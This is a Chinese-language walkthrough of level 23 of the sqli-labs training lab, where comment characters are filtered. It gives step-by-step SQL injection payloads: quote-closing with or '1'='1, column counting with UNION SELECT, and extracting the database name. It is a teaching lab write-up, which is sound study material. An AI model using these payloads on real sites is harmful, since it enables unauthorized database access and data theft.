sqli-labs第二十三关——过滤注释符
一:判断注入类型
尝试输入id=1,id=1',id=1",id=1'),id=1"),只有单引号的时候产生报错
尝试闭合
?id=1' --+
仍然报错,闭合失败
查看这一关的源码
发现注释符号被,所以尝试构造语句注释掉后面的内容
合类型 | 构造语句 |
---|---|
单引号 | or '1'='1 |
双引号 | or "1"="1 |
单引号+括号 | or ('1'='1 |
双引号+括号 | or ("1"="1 |
成功闭合
?id=1' or '1'='1
二:开始注入
1.判断列数
这一关不能用order by判断列数,因为order by 的优先级高于or,sql引擎会优先执行 order by,但此时 where 子句还没有闭合,所以会导致语法错误
这里选用union select,是独立语句,不受优先级的影响
?id=-1' union select 1,2,3,4 or '1'='1
输入到4的时候报错,所以有四列
输入到3的时候,可以看清回显位置,接下来我们选择在2的位置爆出想要的数据
2. 爆数据名
?id=-1' union select 1,database(),3 or '1'='1